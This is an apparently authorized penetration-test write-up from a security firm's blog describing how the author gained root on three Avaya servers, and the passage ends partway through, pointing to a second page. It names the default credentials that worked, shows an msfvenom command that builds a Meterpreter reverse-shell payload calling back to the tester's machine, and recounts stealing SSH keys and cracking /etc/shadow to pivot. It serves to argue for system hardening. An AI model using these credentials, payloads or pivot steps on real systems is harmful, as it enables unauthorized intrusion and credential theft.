Hacking Avaya Servers: An Ethical MSSP Cybersecurity Pro Explains How

by Anitian • Jun 22, 2017

Author: Rick Osgood

Whenever I see Avaya servers during a penetration test, I know pwnage is coming. Hacking Avaya systems is consistently easy to do. It is not Avaya’s software that is the problem, per se. Rather, companies (or the vendors who install these systems) never seem to harden Avaya systems. During a recent internal penetration test, I managed to gain root access to three different Avaya servers. Each hack is a good example of why system hardening is so important.

Launching the Test

I started the test with a Nessus vulnerability scan. Within seconds, the scan reported something tempting. One of the servers allowed LDAP access (port 389.) I connected and quickly surmised that anonymous LDAP queries were possible. An LDAP system can be a goldmine of data. I had to investigate.

Messing with LDAP

First I checked out the other running services on this system. From the HTTPS interface, I could tell this system was running Avaya software and was most likely a phone system. I fired up JXplorer, a graphical LDAP tool, and connected to the LDAP service. It populated an LDAP tree with a root called “vsp”. There were 14 branches, but the one I was interested in was named “People”. I expanded this branch and saw two entries: “cust” and “admin”.

I clicked on “admin” and determined that it was definitely some kind of user entry. The account had several attributes, including gidNumber, homeDirectory, uid, and userPassword. The password data was visible to me, but it appeared to be hashed. The password string started with {SSHA}, followed by a long string of characters. A quick Google search showed that SSHA was likely SHA1.

I then checked the “cust” user and found that password to also be encrypted.

Advertisement

Weak Passwords

I copied the hashes into a text file and threw them at the John the Ripper password cracking software tool with default settings. Even on my virtual machine, with paltry CPU capabilities, both passwords were cracked in seconds. “Admin” had a password of admin01 and “Cust” was cust01. My eyes rolled. I suspected these are the Avaya default passwords. A quick Google search confirmed this.

I noticed there was another default account, root/root01. I wondered if they changed the root password for this account? I check on this later.

Shell Shenanigans

I tried logging into SSH as “root”, without success. Then I tried “admin”…still nothing. What about “cust”? I gave it a shot, with the following result:

Interesting. It looked like the system had accepted my password and logged me in, but then I was booted out without receiving any kind of shell. Maybe my user did not have a valid shell defined? The OpenSSH client allows you to specify a command to be executed after you log in, so what would happen if I specified the command to be “/bin/bash”? Let’s find out.

Success! I now had a limited shell, but a shell nonetheless. It was time to see if that default root password worked.

I tried issuing the su command to change to root, but it would not let me. I needed a full shell, not this limited one I had. It was time to upgrade my session.

On my attacking machine I issued the following command:

Msfvenom -p linux/x86/meterpreter/reverse_tcp PORT=443 HOST=<MY IP> -f elf -o anitianMet443

That command uses msfvenom to generate a Meterpreter reverse tcp payload as a Linux binary executable file. If it works, it basically acts as a backdoor to the system. I set up my Metasploit listener, then copied the binary over to the victim machine and executed it.

Victory! The full shell allowed me to run the su command, and the root password was still set to the default. Clearly this system was never hardened. Now, where could I go from here?

Let’s Pivot

After some snooping around, I found that this system had root SSH keys set up. That is a juicy find, since SSH keys are often used to allow remote logins with no password. I copied those over to my machine in case they proved useful.

I also found that this system often logs into another system on the same subnet. For kicks I tried logging into that other system:

Seriously? Okay, I guess I rooted a second box in one command, courtesy of the poor system hardening of the first system. I grabbed the /etc/shadow file and found that this box had many more users than the first. I ran it through a password cracker and quickly uncovered five different user passwords, all simple and easily guessable.

I paused for a moment. This is so easy, I thought.  Of course, hacking using default passwords is not exactly a challenge, is it? The next machine proved to be a bit more of a worthy opponent.

Three out of Three?

I found a third Avaya system on the same subnet as the first two. I was once again able to log in as both “cust” and “admin” using the default passwords. This system even gave me a full shell! On top of that, the five passwords I cracked from the last system also worked here, so even if the default passwords were changed, I would have had a way in this time. While I did get a low-level shell, I could not change users to root. It would not accept the default password, so it must have been changed. I was going to have to do this the hard way.

Advertisement

Enumeration and Exploitation

I started by running the linuxprivchecker.py script.  It is able to quickly pull tons of useful information. I spent some time digging through the results looking for any weaknesses, but could not find anything obvious. There were a few potentially exploitable vulnerabilities, but the machine did not have a compiler installed. Not a problem. I statically compiled them on my own box and copied over the binaries. At this point I tried executing them, but none of the exploits were working. In fact, they did not seem to execute at all. I kept getting “permission denied” errors.

It took me some snooping, but it turned out that most of the writable file system was mounted with noexec. Noexec is a flag that tells the system not to allow any binary files to execute from that location. My user’s home directory, /tmp, and /var/tmp, were all mounted as noexec. These are all the standard locations I can write files to, so unfortunately, none of my exploits would even run! I had to try to find another location. Luckily, the linuxprivchecker.py script had already located another world-writable directory that was executable.

/msg/database/vm/tmp/

I copied my exploits over to this directory and they finally started executing. Unfortunately, they still were not working. The machine was likely patched or otherwise not vulnerable. I was on the verge of giving up and calling this box secure.

Setuid

Then I started searching through the list of setuid binaries. A setuid binary is an executable program that runs as the user who owns the file. If the owner happens to be root, then that file will always execute as root, regardless of who runs it. That makes the binary an attractive target for attackers. If it has any security flaws, the attacker may be able to abuse the binary to execute a different program with root privileges. Browsing through the list from linuxprivchecker, I skipped past all of the typical Linux setuid binaries because this system was relatively up to date and those are usually not vulnerable. There were several others that were new to me. They appeared to be related to the Avaya software.

I used the “strings” command to identify any possible weaknesses in these compiled binary files. The strings command will read a binary file and output any printable strings within it. This can be a good way to get an idea of what the program might be doing without having access to the source code or help files. I did not find anything there, but there were a few setuid binaries I did not have permission to read or execute. One such example was the diag program.

This program was readable only to root and to all users within the “voice” group. The cust user was not in this group. The /etc/group file showed three users in this group: cron, sa, and vm. Maybe I could find a way to compromise one of those accounts? If so, I could read this diag file and see if it is vulnerable to attack.

Continue to page 2 of 2 for the conclusion of this blog.